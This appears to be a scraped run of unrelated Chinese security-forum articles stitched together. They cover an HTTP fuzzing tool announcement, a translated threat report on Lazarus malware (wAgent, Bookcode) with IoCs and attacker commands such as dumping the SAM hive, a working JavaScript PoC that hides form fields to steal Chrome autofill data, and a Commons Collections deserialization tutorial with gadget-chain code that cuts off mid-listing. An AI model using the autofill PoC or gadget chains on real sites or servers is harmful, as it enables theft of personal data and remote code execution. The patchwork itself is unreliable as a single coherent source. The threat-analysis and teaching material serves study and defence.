360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
前言： 转眼间框架已经10个月大了，时间匆匆如流水，久经时间考验的框架永不过时
HTTP
Fuzzer是一款为了评估WEB应用而生的Fuzz（Fuzz是爆破的一种手段）工具，它基于一个简单的理念，即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值，针对不同的WEB应用组件进行多种复杂的爆破攻击。比如：参数、认证、表单、目录/文件、头部等等。
在Fuzz请求完成后，目标应用发回来的响应提供了Fuzz请求所造成影响的各种线索。如果发现了异常，就可以确定于异常相关的请求。下面总结了一些响应信息，这些响应信息可能指示漏洞条件的存在：HTML状态码、响应中的错误信息、响应中包含的用户输入、性能下降、请求超时、WEB
Fuzzer错误信息、处理或者未处理的异常
功能：
递归（目录发掘）、Post数据爆破、头部爆破
返回码、特征、行数等等来隐藏结果、排除错误
URL编码、多线程、伪造UA、伪造代理、多参数fuzz
输出HTML（详细报告，点击链接查看内容，POST数据也能阅览）、多彩输出
更新历史V1.7版本：程序重构,修正所有冗余内核代码,自动化插件式扫描框架，从性能和稳定性上有质的飞越V2.0版本：插件新增http头配置，支持http文件上传协议，可一键导入Burp||Fiddler||Charles拦截的http请求包V3.0版本：重构插件逻辑，去除length回显，新增遍历插件功能，支持配置waf规则，开放最大线程30V3.5版本：增加PUT、MOVE、COPY
等等协议，新增急速请求、异步请求等功能，去除全局http请求头V3.6版本：修复POST提交表单协议头、自动跳转、处理Cookie、自动处理旧版插件不兼容等问题
特点稳 定：线程式的程序设计 精简化的代码质量 稀少的崩溃重启率智 能：傻瓜式的配置向导 多样化的插件中心 自动化的启动优化简 约：轻便化的框架设计
简洁化的设计理念 性能式的设计优化高 效：毫秒级的响应速度 深度的Request优化 模块化的加载模式使用须知本工具运行需要安装VC++2010 &&
.NET4.0本工具仅用于安全测试，非正当使用造成的法律纠纷，与作者无关本工具免费下载和使用，不存在后门或病毒，有可能被杀毒软件误杀如在使用中发现bug，或您有好的意见或建议，请在网站留言给我，加以改进
框架下载：<http://pan.baidu.com/s/1i4EXSYp> 密码：dsx6 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/>**
### 前言
在跟踪Lazarus组织的活动时，我们发现他们最近瞄准了与COVID-19相关实体。9月底，他们袭击了一家制药公司。此外，他们还袭击了与COVID-19有关的政府部门。而且，每一次攻击都使用了不同的战术、技术和程序（TTP）。
在这篇文章中，我们讲述了两个不同的事件。
第一起事件是针对政府卫生部的攻击：2020年10月27日，卫生部的两台Windows服务器遭到破坏。我们无法识别感染媒介，但攻击者能够在这些服务器上安装一个复杂的恶意软件集。这个恶意软件集名为“wAgent”，它的主要组件只在内存中工作，并从远程服务器获取额外的有效负载。
第二起事件涉及一家制药公司。这家公司在2020年9月25日被入侵。这一次，Lazarus组织通过一家韩国软件公司在供应链攻击中部署了此前由ESET[报告](https://www.welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea/ "报告")的Bookcode恶意软件。
### wAgent恶意软件集
恶意软件集具有复杂的感染方案：
wAgent恶意软件集的感染方案
不幸的是，我们无法获取此攻击中使用的启动程序模块。该模块使用特定的参数执行wAgent。我们收集到的其中一个wAgent样本有伪造的元数据，以使其看起来像合法的压缩实用程序[XZ-Utils](https://tukaani.org/xz/ "XZ-Utils")。
通过调用Thumbs export函数，该恶意软件使用以下参数通过命令行shell直接在受害者机器上执行：
c:\windows\system32\rundll32.exe
C:\Programdata\Oracle\javac.dat, Thumbs 8IZ-VU7-109-S2MY
16字节的字符串参数用作AES密钥，用于解密嵌入的有效负载——Windows
DLL。当嵌入式负载加载到内存中时，它使用给定的解密密钥解密配置信息。配置包含各种信息，包括C2服务器地址，以及稍后使用的文件路径。尽管配置指定了两个C2服务器，但它两次包含同一个C2服务器。有趣的是，这个配置有几个URL路径，用“@”符号分隔。恶意软件试图随机连接到每个URL路径。
配置中的C2地址
首次执行该恶意软件时，它会生成标识符以使用随机的哈希值区分每个受害者。它还会生成一个16字节的随机值并颠倒其顺序。接下来，恶意软件使用“@”作为分隔符将这个随机的16字节值和哈希值连接起来。即：82UKx3vnjQ791PL2
@ 29312663988969
POST参数名称（如下所示）在运行时解密，并在每个C2连接中随机选择。值得注意的是，[Tistory](https://en.wikipedia.org/wiki/Tistory
"Tistory")提供韩国的博客发布服务，这意味着恶意软件攻击者熟悉韩国的互联网环境。
该恶意软件将生成的标识符编码为base64，并将其发布到C2。最后，代理从C2服务器获取下一个有效负载，并将其直接加载到内存中。不幸的是，我们无法获得它的副本，但根据遥测，获取的有效负载是包含后门功能的Windows
DLL。使用此内存后门，恶意软件攻击者执行了许多shell命令以收集受害者信息：
cmd.exe /c ping -n 1 -a 192.[redacted]
cmd.exe /c ping -n 1 -a 192.[redacted]
cmd.exe /c dir \\192.[redacted]\c$
cmd.exe /c query user
cmd.exe /c net user [redacted] /domain
cmd.exe /c whoami
### wAgent部署
通过使用wAgent后门，操作人员安装了一个额外的wAgent有效负载，它具有持久性机制。在获取这个DLL之后，使用以下命令执行一个名为SagePlug的导出：
rundll32.exe
c:\programdata\oracle\javac.io,SagePlug4GO-R19-0TQ-HL2A c:\programdata\oracle\~TMP739.TMP
4GO-R19-0TQ-HL2A用作键，文件路径指示保存调试消息的位置。这个wAgent安装程序的工作原理类似于上面描述的wAgent
loader恶意软件。它负责在用命令行中的16字节密钥解密嵌入式有效负载后，再进行加载。在解密的有效负载中，恶意软件会生成一个文件路径来继续感染：
* C:\Windows\system32[random 2 characters]svc.drv
该文件伪装成名为[SageThumbs Shell Extension](http://sagethumbs.sourceforge.net/
"SageThumbs Shell
Extension")的合法工具。该工具直接在Windows资源管理器中显示图像文件。但是，它内部包含一个附加的恶意例程。
创建此文件时，安装程序模块将使用随机数据填充该文件以增加其大小。恶意软件还会将cmd.exe的创建时间复制到新文件中，使其不那么容易被发现。
为了进行日志记录和调试，恶意软件将信息存储在作为第二个参数提供的文件中（在这种情况下为c:\programdata\oracle\〜TMP739.TMP）。此日志文件包含时间戳和有关感染过程的信息。我们观察到，攻击者正在使用Windows命令手动检查此文件。这些调试消息的结构与以前的恶意软件相同，该恶意软件用于攻击涉及Lazarus组织的加密货币业务。
之后，恶意软件会解密其嵌入的配置。该配置数据具有与上述wAgent恶意软件相似的结构。它还包含具有相同格式的C2地址：
* hxxps://iski.silogica[.]net/events/[email protected]@[email protected]@cookie.jsp
* hxxp://sistema.celllab[.]com.br/webrun/Navbar/[email protected]@[email protected]@customZoom.jsp
* hxxp://www.bytecortex.com[.]br/eletronicos/[email protected]@[email protected]@Functions.jsp
* hxxps://sac.najatelecom.com[.]br/sac/Dados/[email protected]@[email protected]@default.jsp
该恶意软件会加密配置数据，并将其存储为带有其文件名的预定义注册表项：
* HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate – [random 2 characters]svc
通过将创建的文件路径注册到现有注册表值的末尾，它还利用了Custom Security Support
Provider。该DLL将在下一次启动时由lsass.exe加载。
* HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa – Security Packages : kerberos msv1_0 schannel wdigest tspkg pku2u [random 2 characters]svc.drv
最后，启动程序模块在远程进程中启动[random 2
characters]svc.drv文件。它搜索第一个svchost.exe进程并执行DLL注入。注入的[random 2
characters]svc.drv恶意软件包含用于解密和加载其嵌入式有效负载的恶意例程。最终的有效负载是wAgent，它负责从C2（可能是功能齐全的后门）中获取其他有效负载，并将其加载到内存中。
### Bookcode恶意软件集
Lazarus组织使用Bookcode恶意软件对制药公司进行攻击。该公司正在开发COVID-19疫苗，并被授权生产和销售COVID-19疫苗。在此之前，Lazarus曾用Bookcode恶意软件攻击了韩国的一家软件公司，可能是针对该公司的源代码或供应链。Lazarus组织在过去进行了鱼叉式网络钓鱼或战略性网站破坏，以传播Bookcode恶意软件。但是，我们无法确定初始的感染媒介。整个感染过程与ESET最新[报道](https://www.welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea/ "报道")描述的过程非常相似。
Bookcode感染程序
尽管我们没有发现负责部署加载程序及其加密的Bookcode有效负载的恶意软件，但我们能够识别出加载程序样本。该文件负责加载位于系统文件夹中的名为gmslogmgr.dat的加密有效负载。解密有效负载后，加载程序会找到带有winmgmt、ProfSvc或Appinfo参数的服务主机进程（svchost.exe），并将有效负载注入其中。不幸的是，我们无法获取加密的有效负载文件，但是我们能够在受害机器上重建恶意软件操作，并将其识别为Bookcode恶意软件。
执行后，Bookcode恶意软件将读取配置文件。虽然先前的Bookcode示例使用文件perf91nc.inf作为配置文件，但此版本从名为C_28705.NLS的文件读取其配置。此Bookcode示例具有与韩国互联网安全局（KISA）最近发布的综合[报告](https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35799
"报告")中所述的恶意软件几乎相同的功能。如该报告第57页所述，一旦恶意软件启动，它就会将有关受害者的信息发送给攻击者。与C2服务器通信后，该恶意软件提供了标准的后门功能。
### 后阶段攻击
Lazarus组织使用Bookcode恶意软件集的活动具有自己独特的TTP，并且在此攻击中使用了相同的作案手法。
* 从注册表sam转储中提取受感染的主机信息，包括密码哈希。
* 使用Windows命令以检查网络连接。
* 使用[WakeMeOnLan](https://www.nirsoft.net/utils/wake_on_lan.html "WakeMeOnLan")工具扫描同一网络中的主机。
在2020年9月25日安装Bookcode之后，攻击者开始从受害者那里收集系统和网络信息。攻击者还收集了包含密码哈希的注册表sam转储：
* exe /c “reg.exe save hklm\sam %temp%\~reg_sam.save > “%temp%\BD54EA8118AF46.TMP~” 2>&1″
* exe /c “reg.exe save hklm\system %temp%\~reg_system.save > “%temp%\405A758FA9C3DD.TMP~” 2>&1″
横向移动阶段，攻击者在获取帐户信息后，使用“net”命令连接到另一台主机，并使用“wmic”命令执行了复制的有效负载。
此外，Lazarus使用[ADfind](http://www.joeware.net/freetools/tools/adfind/
"ADfind")以便从Active Directory收集其他信息。攻击者使用此实用程序提取了受害者的用户和计算机的列表。
### Bookcode基础结构
我们发现了另一个配置文件，它包含四台C2服务器，所有这些服务器都是位于韩国的受损Web服务器。
* hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp
* hxxp://www.k-kiosk[.]com/bbs/notice_write.asp
* hxxps://www.gongim[.]com/board/ajax_Write.asp
* hxxp://www.cometnet[.]biz/framework/common/common.asp
这些C2服务器的其中一个启用了目录列表，因此我们能够了解攻击者如何管理C2服务器：
受到攻击的网站上列出的攻击者文件
我们从受感染的服务器（一个“第一阶段” C2服务器）中发现了几个日志文件和一个脚本。它从后门接收连接，但仅充当攻击者实际存储的“第二阶段”服务器的代理。
File name | Description
---|---
_ICEBIRD007.dat | A log file containing the identifier of victims and
timestamps.
~F05990302ERA.jpg | Second-stage C2 server address:
hxxps://www.locknlockmall[.]com/common/popup_left.asp |
Customer_Session.asp | Malware control script.
Customer_Session.asp是第一阶段C2脚本，负责从第二阶段C2服务器传递命令并从植入中执行命令。为了向每个受害者传递适当的命令，将来自植入程序的bbs_code参数用作标识符。该脚本使用此标识符将命令分配给正确的受害者。这是为特定受害者发送命令的过程的工作方式：
* 1.恶意软件攻击者设置特定植入程序的相应标志（[id] _208）并将命令保存到变量（[id] _210）。
* 2.植入程序检查相应的标记（[id] _208）并从变量（[id] _210）中检索命令（如果已设置）。
* 3.执行命令后，植入程序将结果发送到C2服务器并设置相应的标志。
* 4.恶意软件攻击者检查该标志，并在设置了标志的情况下检索结果。
C2脚本的逻辑
除了植入程序控制功能外，C2脚本还具有其他功能。例如更新下一阶段的C2服务器地址，将植入程序的标识符发送到下一阶段服务器或删除日志文件。
table_nm value | Function name | Description
---|---|---
table_qna | qnaview | Set [id]_209 variable to TRUE and save the “content”
parameter value to [id]_211.
table_recruit | recuritview | If [id]_209 is SET, send contents of [id]_211
and reset it, and set [ID]_209 to FALSE.
table_notice | notcieview | Set [id]_208 and save the “content” parameter
value to [id]_210.
table_bVoice | voiceview | If [id]_208 is SET, send contents of [id]_210 and
reset it, and set [id]_208 to FALSE.
table_bProduct | productview | Update the ~F05990302ERA.jpg file with the URL
passed as the “target_url” parameter.
table_community | communityview | Save the identifier of the implant to the
log file. Read the second-stage URL from ~F05990302ERA.jpg and send the
current server URL and identifier to the next hop server using the following
format:bbs_type=qnaboard&table_id=[base64ed identifier]
&accept_identity=[base64 encoded current server IP]&redirect_info=[base64ed
current server URL]
table_free | freeview | Read _ICEBIRD007.dat and send its contents, and delete
it.
Bookcode恶意软件样本之一（MD5
[0e44fcafab066abe99fe64ec6c46c84e](https://opentip.kaspersky.com/0e44fcafab066abe99fe64ec6c46c84e/?utm_source=SL&utm_medium=SL&utm_campaign=SL
"0e44fcafab066abe99fe64ec6c46c84e")）包含许多与旧Manuscrypt变体重叠的代码。
### 结论
这两个事件表明Lazarus组织对与COVID-19相关的事物感兴趣。我们认为，当前参与疫苗研究或危机处理等活动的所有实体都应高度警惕网络攻击。
### IoC
**wAgent**
[dc3c2663bd9a991e0fbec791c20cbf92](https://opentip.kaspersky.com/dc3c2663bd9a991e0fbec791c20cbf92/?utm_source=SL&utm_medium=SL&utm_campaign=SL
"dc3c2663bd9a991e0fbec791c20cbf92")——%programdata%\oracle\javac.dat
[26545f5abb70fc32ac62fdab6d0ea5b2](https://opentip.kaspersky.com/26545f5abb70fc32ac62fdab6d0ea5b2/?utm_source=SL&utm_medium=SL&utm_campaign=SL
"26545f5abb70fc32ac62fdab6d0ea5b2")——%programdata%\oracle\javac.dat
[9c6ba9678ff986bcf858de18a3114ef3](https://opentip.kaspersky.com/9c6ba9678ff986bcf858de18a3114ef3/?utm_source=SL&utm_medium=SL&utm_campaign=SL
"9c6ba9678ff986bcf858de18a3114ef3")——%programdata%\grouppolicy\Policy.DAT
**wAgent Installer**
[4814b06d056950749d07be2c799e8dc2](https://opentip.kaspersky.com/4814b06d056950749d07be2c799e8dc2/?utm_source=SL&utm_medium=SL&utm_campaign=SL
"4814b06d056950749d07be2c799e8dc2")——%programdata%\oracle\javac.io,
%appdata%\ntuser.dat
**wAgent compromised C2 servers**
hxxps://iski.silogica[.]net/events/[email protected]@[email protected]@cookie.jsp
hxxp://sistema.celllab[.]com.br/webrun/Navbar/[email protected]@[email protected]@customZoom.jsp
hxxp://www.bytecortex.com[.]br/eletronicos/[email protected]@[email protected]@Functions.jsp
hxxps://sac.najatelecom.com[.]br/sac/Dados/[email protected]@[email protected]@default.jsp
**wAgent file path**
%SystemRoot%\system32\[random 2 characters]svc.drv
**wAgent registry path**
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Application\Emulate - [random 2 characters]svc
**Bookcode injector**
5983db89609d0d94c3bcc88c6342b354%SystemRoot%\system32\scaccessservice.exe,rasprocservice.exe
**Bookcode file path**
%SystemRoot%\system32\C_28705.NLS
%SystemRoot%\system32\gmslogmgr.dat
**Bookcode compromised C2 servers**
hxxps://www.kne.co[.]kr/upload/Customer/BBS.asp
hxxp://www.k-kiosk[.]com/bbs/notice_write.asp
hxxps://www.gongim[.]com/board/ajax_Write.asp
hxxp://www.cometnet[.]biz/framework/common/common.asp
hxxps://www.locknlockmall[.]com/common/popup_left.asp
### MITRE ATT&CK Mapping
* * * | 社区文章 |
昨天看到了一篇关于Chrome自动填充安全相关的文章。
文章中提到：“ **自动填充是个非常方便地浏览器特性，不过该特性在 Chrome 上也会存在一定的信息泄露的风险。Chrome
最近才修复了某个久负盛名漏洞。简单而言，黑客能够利用自动填充窃取你并不想提交给该网站的信息** ”
效果如下图：
并提供了一段js来演示漏洞：
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
emailField.addEventListener('focus', function() {
var wrap = autocompletes.reduce(function(wrapper, field) {
var input = document.createElement('input');
// Make them not focussable
input.tabIndex = -1;
input.autocomplete = field;
wrapper.appendChild(input);
return wrapper;
}, document.createElement('div'));
// Hide the wrapper
wrap.classList.add('hidden');
form.appendChild(wrap);
// Inject the autocompletes once
this.removeEventListener('focus', arguments.callee);
});
我在测试以后并没有成功复现该漏洞（因为只提供了js代码，html并没有提供，稍微改了改代码也没有达到想要实现的效果）。
但是通过上述js代码，基本能看出来是什么样的原理。
## autocomplete
html中要实现浏览器中的表单自动填充主要依靠于`autocomplete`属性。
起初`autocomplete`属性只支持`on`或`off`。比如下面代码：
<form action="demo_form.asp" method="get" autocomplete="on">
First name:<input type="text" name="fname" /><br />
Last name: <input type="text" name="lname" /><br />
E-mail: <input type="email" name="email" autocomplete="off" /><br />
<input type="submit" />
</form>
如上代码对开启了整个表单的`autocomplete`却对`email`关闭了`autocomplete`，所以我们在点击非`email`的其他表单即可打开自动填充功能：
但在email中却不能展开自动填充功能：
后来HTML5标准加入了对`autocomplete`的支持，并且给`autocomplete`加入了更多的标示符，以保证让浏览器准确的知道哪些信息对应着表单里的哪些字段。
比如如下代码：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
</fieldset>
</body>
</html>
我在`autocomplete`属性中写入了语义化的字符，比如`name`、`street-address`等。
浏览器即可准确的把相应的信息填入到相应的表单中。
## 恶意利用
如果能在用户不知情的情况下，拿到用户浏览器存储的其他信息，即可造成很可怕的后果，那么我们就得让用户看不见我们的输入框就好了。
通过如上demo我们可以发现，当我们选择自动填充以后，chrome不仅会把当前表单字段填充到input中，也会把其他表单字段填充到input中。
#### type=hidden
那么如果我们写一些`type`为`hidden`的`input`标签，并且加上`autocomplete`属性，chrome是否会自动补上带有`hidden`属性的`input`标签的信息呢呢。
我们使用如下代码：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input type="hidden" name=rc autocomplete="section-red shipping name"> </label>
<p> <label> 地址: <textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label> 城市: <input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label> 邮政编码: <input name=rp autocomplete="section-red shipping postal-code"> </label>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
我们将第一个姓名字段设置为`hidden`，然后使用自动填充，并且提交表单，查看请求包：
发现`type`属性为`hidden`的表单并没有获取到，但其他非hiddend的信息都拿到了。
#### display:none;
既然`type`设置成`hidden`浏览器不给信息，那么我们如果让这个`input`表单让用户看不见，但浏览器认识呢？比如如下代码：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="display:none;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
我们在表单外层放一个div,让整个div,`display:none`。
然而也是不行的：
看来chrome已经在这里做了足够的手脚来防护这样的问题。
其实在文章最初提供的js代码也是使用这样的方式来进行攻击的。
看来现在已经被修复了。那么我们就没有其他办法实现了吗？
#### 让用户看不见,浏览器认识的魔法
我们现在要做的无疑是让浏览器认识且没有做防护，并且让用户看不见这个表单，我们的任务就达到了。
这样的办法有很多，比如这样：
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Browser autofill security</title>
</head>
<body>
<form action="" method="post">
<fieldset>
<legend>My Shop</legend>
<p> <label> 姓名: <input name=rc autocomplete="section-red shipping name"> </label>
<div style="margin-left:-1000px;height:0px;">
<p> <label><textarea name=ra autocomplete="section-red shipping street-address"></textarea> </label>
<p> <label><input name=rc autocomplete="section-red shipping address-level2"> </label>
<p> <label><input name=rp autocomplete="section-red shipping postal-code"> </label>
</div>
<p> <label> <input type="submit" value="submit"> </label>
</fieldset>
</form>
</body>
</html>
效果如下：
bingo！！
实现让用户看不见，浏览器却认识的办法很多很多。
比如上面的，比如脱离文档流，比如使用表单的所有东西设置成白色（让用户肉眼看不见即可），比如使用z-index调到下层，等等等等……
## 最终POC
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
var myform = document.getElementsByTagName('form')[0];
var mydiv = document.createElement('div');
mydiv.style.marginLeft = "-1000px";
mydiv.style.height = "0";
mydiv.style.width = "0";
for (x in autocompletes){
var tmpInput = document.createElement('input');
tmpInput.name = autocompletes[x];
tmpInput.autocomplete = autocompletes[x];
mydiv.appendChild(tmpInput);
}
myform.appendChild(mydiv);
在线测试地址：<http://www.hackersb.cn/poc/autofill/>
## 参考资料
1. [HTML标准 - 表单自动填充](https://html.spec.whatwg.org/multipage/forms.html#autofill)
2. [SegmentFault](https://segmentfault.com/a/1190000008109755) | 社区文章 |
## 前言
虽然已经有很多大佬已经发了CC1-7的分析，但是我觉得有些地方没有特别清楚，我就来啰嗦的写一篇吧，对新手比较友好。
Java集合框架是JDK1.2中的一个重要补充。它添加了许多功能强大的数据结构，加快了最重要的Java应用程序的开发。从那时起，它已成为Java中公认的集合处理标准。
Commons集合试图通过提供新的接口、实现和实用程序来构建JDK类。
Commons Collections是反序列化漏洞学习过程中不可缺少的一部分，Apache Commons
Collections是Java中应用广泛的一个库，包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
ysoerial中CommonsCollection1源码如下：
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
利用链：
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
## 环境搭建
* JDK1.7
* commons-collections 3.1
创建一个Maven项目，不用选择任何Maven模板；
在pom.xml中添加如下代码：
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
刷新一下，成功导入commons-collections-3.1。
## 相关类和接口
**TransformedMap**
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰，被修饰过的Map在添加新的元素时，将可以执⾏⼀个回调。
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
......
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
......
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
**ChainedTransformer**
ChainedTransformer是实现了Transformer、Serializable接⼝的⼀个类，它的作⽤是将内部的多个Transformer串
在⼀起，将前一个回调返回的结果作为后一个的参数传入。
public class ChainedTransformer implements Transformer, Serializable {
......
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
......
}
**Transformer**
Transformer是一个接口，只有一个带实现的方法；
TransformedMap在转换Map的新元素时，就会调⽤transform⽅法，这个过程就类似在调⽤⼀个“回调
函数”，这个回调的参数是原始对象。
public interface Transformer {
public Object transform(Object input);
}
**ConstantTransformer**
ConstantTransformer是实现了Transformer、Serializable接口的一个类，它的过程就是在构造函数的时候传入一个对象，并在transform方法将这个对象再返回；
作用就是包装任意一个对象，在执行回调时返回这个对象，进而方便后续操作。
public class ConstantTransformer implements Transformer, Serializable {
.......
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
.......
**InvokerTransformer**
InvokerTransformer是实现了Transformer、Serializable接⼝的⼀个类，这个类可以⽤来执⾏任意⽅法，这也是反序
列化能执⾏任意代码的关键；
在实例化这个InvokerTransformer时，需要传⼊三个参数：
* 第⼀个参数是待执⾏的⽅法名
* 第⼆个参数是这个函数的参数列表的参数类型
* 第三个参数是传给这个函数的参数列表
后面transform方法，通过反射调用执行了input对象的iMethodName方法。
public class InvokerTransformer implements Transformer, Serializable {
......
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
## TransformedMap链
### Test1
先构造一个简单的POC：
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Test1 {
public static void main(String[] args) throws Exception {
//构建一个transformer的数组
Transformer[] transformers = new Transformer[] {
//返回Runtime对象
new ConstantTransformer(Runtime.getRuntime()),
//调用exec方法执行calc.exe命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
};
//将transformers数组传入ChainedTransformer类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
//包装innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
outerMap.put("test1", "xxxx");
}
}
Transformer是一个接口，ConstantTransformer和InvokerTransformer都是Transformer接口的实现类；
这里并不是new了一个接口，而是new了一个Transformer类型的数组，里面存储的是 Transformer的实现类对象。
然后使用ChainedTransformer对transformers 数组进行一系列回调；
将创建的innerMap和transformerChain传入TransformedMap.decorate；
最后要向Map中放入一个新元素，从而执行命令。
## Test2
上面的Test1并只是一个本地测试，而我们还需要将最终生成的outerMap对象变成一个序列化流；
**代码1**
Runtime类没有实现Serializable接⼝，不能被直接序列化；所以我们需要通过反射来获取Runtime对象；
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//调用getMethod方法
